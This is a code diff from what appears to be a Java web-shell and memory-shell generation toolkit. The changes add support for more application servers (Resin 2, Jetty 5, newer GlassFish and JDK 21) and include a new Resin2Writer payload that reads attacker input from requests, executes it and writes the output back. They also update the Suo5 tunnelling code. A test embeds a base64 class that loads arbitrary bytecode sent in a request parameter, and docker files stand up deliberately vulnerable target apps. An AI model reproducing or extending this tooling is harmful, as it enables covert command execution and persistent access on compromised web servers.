@@ -1035,14 +1128,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
// full stream
if (this.mode == 0) {
try {
pipeStream(gInStream, gOutStream, null, true);
pipeStream(gInStream, gOutStream, null, true, gWriteLock);
} catch (Exception ignore) {
} finally {
try {
byte[] closeData = marshalBase64(newDel(this.gtunId));
if (gWriteLock == null) {
writePipeData(gOutStream, null, closeData);
} else {
synchronized (gWriteLock) {
writePipeData(gOutStream, null, closeData);
}
}
} catch (Exception ignore) {
}
}
return;
}
Object[] objs = (Object[]) getKey(this.gtunId);
if (objs == null || objs.length != 3) {
if (objs == null || objs.length < 3) {
return;
}
@@ -1060,6 +1165,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (data.length == 0) {
break;
}
touchTunnel(objs);
if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) {
selfClean = true;
break;
@@ -1070,12 +1176,16 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
while (true) {
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
if (data == null) {
selfClean = true;
break;
if (getTunnelIdleMillis(objs) >= TUNNEL_IDLE_TIMEOUT_MILLIS) {
selfClean = true;
break;
}
continue;
}
if (data.length == 0) {
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
if (signal == null) {
// EOF keeps pending data available while the client is actively draining it.
// An abandoned EOF tunnel is removed after the normal idle timeout.
if (getKey(this.gtunId) == objs && !waitForTunnelCleanup(objs, writeQueue)) {
selfClean = true;
}
break;
@@ -1089,9 +1199,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
} catch (Exception e) {
} finally {
if (selfClean) {
removeKey(this.gtunId);
readQueue.clear();
if (removeKeyIfSame(this.gtunId, objs)) {
readQueue.clear();
}
}
writeQueue.clear();
try {
@@ -23,6 +23,10 @@ import org.apache.commons.lang3.StringUtils;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import static java.nio.charset.StandardCharsets.UTF_8;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -32,10 +36,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2025/6/29
*/
public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyConfig> {
private static final Map<String, Class<?>> WRITER_CLASSES = createWriterClasses();
public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeContentConfig) {
super(probeConfig, probeContentConfig);
}
public static List<String> getSupportedServers() {
return new ArrayList<>(WRITER_CLASSES.keySet());
}
@Override
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
@@ -52,9 +62,9 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
.name(probeConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
.visit(Advice.withCustomMapping()
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
.to(runnerClass)
.on(named("run")));
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
.to(runnerClass)
.on(named("run")));
String base64Bytes = probeContentConfig.getBase64Bytes();
if (StringUtils.isNotBlank(base64Bytes)) {
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
@@ -82,35 +92,32 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
}
private Class<?> getWriterClass() {
switch (probeContentConfig.getServer()) {
case Server.SpringWebMvc:
return SpringWebMvcWriter.class;
case Server.Jetty:
return JettyWriter.class;
case Server.Tomcat:
case Server.JBoss:
case Server.BES:
return TomcatWriter.class;
case Server.TongWeb:
return TongWebWriter.class;
case Server.Resin:
return ResinWriter.class;
case Server.Undertow:
return UndertowWriter.class;
case Server.GlassFish:
case Server.InforSuite:
return GlassFishWriter.class;
case Server.WebSphere:
return WebSphereWriter.class;
case Server.WebLogic:
return WebLogicWriter.class;
case Server.Apusic:
return ApusicWriter.class;
case Server.Struts2:
return Struts2Writer.class;
default:
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
Class<?> writerClass = WRITER_CLASSES.get(probeContentConfig.getServer());
if (writerClass == null) {
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
}
return writerClass;
}
private static Map<String, Class<?>> createWriterClasses() {
Map<String, Class<?>> writerClasses = new LinkedHashMap<>();
writerClasses.put(Server.Tomcat, TomcatWriter.class);
writerClasses.put(Server.Jetty, JettyWriter.class);
writerClasses.put(Server.Jetty5, JettyWriter.class);
writerClasses.put(Server.Undertow, UndertowWriter.class);
writerClasses.put(Server.JBoss, TomcatWriter.class);
writerClasses.put(Server.Resin, ResinWriter.class);
writerClasses.put(Server.Resin2, Resin2Writer.class);
writerClasses.put(Server.WebLogic, WebLogicWriter.class);
writerClasses.put(Server.WebSphere, WebSphereWriter.class);
writerClasses.put(Server.GlassFish, GlassFishWriter.class);
writerClasses.put(Server.TongWeb, TongWebWriter.class);
writerClasses.put(Server.BES, TomcatWriter.class);
writerClasses.put(Server.InforSuite, GlassFishWriter.class);
writerClasses.put(Server.Apusic, ApusicWriter.class);
writerClasses.put(Server.SpringWebMvc, SpringWebMvcWriter.class);
writerClasses.put(Server.Struts2, Struts2Writer.class);
return writerClasses;
}
static class getDataFromReqInterceptor {
@@ -118,15 +125,24 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
public static void enter(@Advice.Argument(value = 0) Object request,
@ValueAnnotation String name,
@Advice.Return(readOnly = false) String ret) throws Exception {
String p = null;
try {
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
}
ret = p;
} catch (Exception e) {
ret = null;
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
ret = p;
}
}
@@ -135,22 +151,33 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
public static void enter(@Advice.Argument(value = 0) Object request,
@ValueAnnotation String name,
@Advice.Return(readOnly = false) String ret) throws Exception {
String p = null;
try {
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
}
ret = p;
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
} catch (Exception e) {
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
if (p == null || p.isEmpty()) {
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
}
ret = p;
p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
}
if (p == null || p.isEmpty()) {
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
}
ret = p;
}
}
@@ -158,7 +185,3 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
public @interface ValueAnnotation {
}
}
@@ -27,6 +27,10 @@ public class ServerProbe {
classNames.add(traceElement.getClassName());
}
}
if (classNames.contains("org.mortbay.http.HttpConnection")
|| classNames.contains("org.mortbay.http.HttpServer")) {
return ret = "Jetty5";
}
if (System.getProperty("jetty.home") != null
|| classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
return ret = "Jetty";
@@ -40,7 +44,7 @@ public class ServerProbe {
if (System.getProperty("com.apusic.home") != null) {
return ret = "Apusic";
}
if (System.getProperty("bes.home") != null
if ((System.getProperty("bes.home") != null || System.getProperty("bes.base") != null)
&& classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) {
return ret = "BES";
}
@@ -54,13 +58,22 @@ public class ServerProbe {
|| System.getProperty("wlp.install.dir") != null) {
return ret = "WebSphere";
}
if (System.getProperty("resin.home") != null) {
if (System.getProperty("resin.home") != null
&& classNames.contains("com.caucho.server.dispatch.ServletInvocation")) {
return ret = "Resin";
}
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
if (System.getProperty("resin.home") != null
&& (classNames.contains("com.caucho.server.http.HttpRequest")
|| classNames.contains("com.caucho.server.http.ServletServer"))) {
return ret = "Resin2";
}
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")
|| classNames.contains("org.springframework.boot.reactor.netty.NettyWebServer$1")) {
return ret = "SpringWebFlux";
}
if (System.getProperty("AS_INSTALL") != null) {
if (System.getProperty("AS_INSTALL") != null
|| System.getProperty("com.sun.aas.installRoot") != null
|| System.getProperty("glassfish.version") != null) {
return ret = "GlassFish";
}
if (System.getProperty("jboss.home.dir") != null
@@ -156,7 +156,15 @@ public class GlassFishFilterProbe {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
@@ -166,6 +174,40 @@ public class GlassFishFilterProbe {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
try {
return getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21+
return getFieldValue(getFieldValue(thread, "holder"), "task");
}
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
try {
return getFieldValue(target, "this$0");
} catch (NoSuchFieldException ignored) {
}
try {
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = getFieldValue(atomic, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
} catch (NoSuchFieldException ignored) {
}
Object base = getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}
@@ -32,7 +32,7 @@ public class GlassFishWriter {
// GlassFish4+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Object blocker = getFieldValue(thread, "blocker");
Object blocker = getThreadBlocker(thread);
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
continue;
}
@@ -62,6 +62,19 @@ public class GlassFishWriter {
}
}
private Object getThreadBlocker(Thread thread) {
try {
return getFieldValue(thread, "blocker");
} catch (Throwable ignored) {
try {
// JDK 21+
return getFieldValue(thread, "nioBlocker");
} catch (Throwable ignored2) {
return null;
}
}
}
private boolean tryWriteRes(Object request) throws Exception {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
@@ -0,0 +1,172 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Set;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2Writer {
private static boolean ok = false;
public Resin2Writer() {
if (ok) {
return;
}
try {
Object request = getCurrentRequest();
if (request == null) {
return;
}
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
ok = true;
}
}
private Object getCurrentRequest() {
Thread currentThread = Thread.currentThread();
Object request = getRequestFromThread(currentThread, currentThread);
if (request != null) {
return request;
}
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
request = getRequestFromThread(thread, currentThread);
if (request != null) {
return request;
}
}
return null;
}
private Object getRequestFromThread(Thread thread, Thread currentThread) {
Object target = null;
try {
target = getFieldValue(thread, "target");
} catch (Throwable e) {
try {
target = getFieldValue(getFieldValue(thread, "holder"), "task");
} catch (Throwable ignored) {
}
}
return getRequestFromTarget(target, currentThread);
}
private Object getRequestFromTarget(Object target, Thread currentThread) {
if (target == null) {
return null;
}
Object request = null;
if ("com.caucho.server.http.HttpRequest".equals(target.getClass().getName())) {
request = target;
} else {
try {
request = getFieldValue(target, "request");
} catch (Throwable ignored) {
}
}
if (request == null || !"com.caucho.server.http.HttpRequest".equals(request.getClass().getName())) {
return null;
}
try {
Object requestThread = getFieldValue(request, "_thread");
if (requestThread != null && requestThread != currentThread) {
return null;
}
} catch (Throwable ignored) {
}
return request;
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -114,6 +114,8 @@ public class CommonUtil {
public static String getWebPackageNameForServer(String server) {
switch (server) {
case Jetty5:
return "org.mortbay.jetty.servlet.handlers";
case Jetty:
return "org.eclipse.jetty.servlet.handlers";
case Undertow:
@@ -128,6 +130,8 @@ public class CommonUtil {
return "weblogic.servlet.internal.handlers";
case Resin:
return "com.caucho.server.dispatch.handlers";
case Resin2:
return "com.caucho.server.http.handlers";
case BES:
return "com.bes.enterprise.webtier.web.handlers";
case Apusic:
@@ -95,7 +95,7 @@ class CustomShellGeneratorTest {
@Test
@SneakyThrows
void testJakartaServlet(){
void testJakartaServlet() {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
String className = CommonUtil.generateClassName();
ShellConfig shellConfig = ShellConfig.builder()
+6 -6
View File
@@ -1,5 +1,5 @@
[versions]
asm = "9.10" # https://mvnrepository.com/artifact/org.ow2.asm/asm
asm = "9.10.1" # https://mvnrepository.com/artifact/org.ow2.asm/asm
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
bcel = "5.2"
javax-servlet-api = "3.0.1"
@@ -15,13 +15,13 @@ alibaba-dubbo = "2.6.12"
apache-dubbo = "2.7.6"
tomcat = "8.5.85"
byte-buddy = "1.18.8" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
byte-buddy = "1.18.12" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
commons-codec = "1.22.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
commons-codec = "1.22.1" # https://mvnrepository.com/artifact/commons-codec/commons-codec
logback = "1.5.38" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
okhttp3 = "5.5.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
fastjson2 = "2.0.64" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
mockito = "5.21.0"
@@ -8,4 +8,4 @@ services:
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/server/web/deploy/app.war
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/jboss/server/web/deploy/app.war
@@ -0,0 +1,10 @@
services:
jetty5110:
image: reajason/jetty:5.1.10-jdk6
ports:
- "8888:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/jetty/webapps/app.war
@@ -8,4 +8,4 @@ services:
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/resin2/webapps/app.war
@@ -8,4 +8,4 @@ services:
environment:
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.0.2-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.0.2-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.1.2-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.1.2-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
@@ -16,6 +16,7 @@ public class ContainerTool {
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
public static final MountableFile servlet2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-servlet2", "build", "libs", "vul-webapp-servlet2.war").toAbsolutePath(), 0666);
public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
@@ -27,6 +28,8 @@ public class ContainerTool {
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
public static final MountableFile springBoot4JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4", "build", "libs", "vul-springboot4.jar").toAbsolutePath());
public static final MountableFile springBoot4WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4-webflux", "build", "libs", "vul-springboot4-webflux.jar").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
@@ -381,7 +381,8 @@ public class ShellAssertion {
}
if (Packers.SpELSpringGzipJDK17.equals(packer)
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|| Packers.JXPathSpringGzipJDK17.equals(packer)) {
|| Packers.JXPathSpringGzipJDK17.equals(packer)
|| Packers.FreemarkerSpELSpringGzipJDK17.equals(packer)) {
